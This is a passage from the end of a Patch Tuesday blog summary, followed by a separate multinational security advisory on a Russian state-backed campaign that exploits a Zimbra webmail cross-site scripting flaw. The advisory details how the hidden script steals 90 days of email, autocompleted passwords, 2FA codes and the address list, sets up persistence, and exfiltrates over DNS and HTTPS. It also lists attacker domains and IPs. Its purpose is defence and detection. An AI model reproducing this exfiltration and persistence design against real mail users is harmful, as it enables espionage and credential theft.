More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Sat, 25 Jul 2026 18:59:26 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
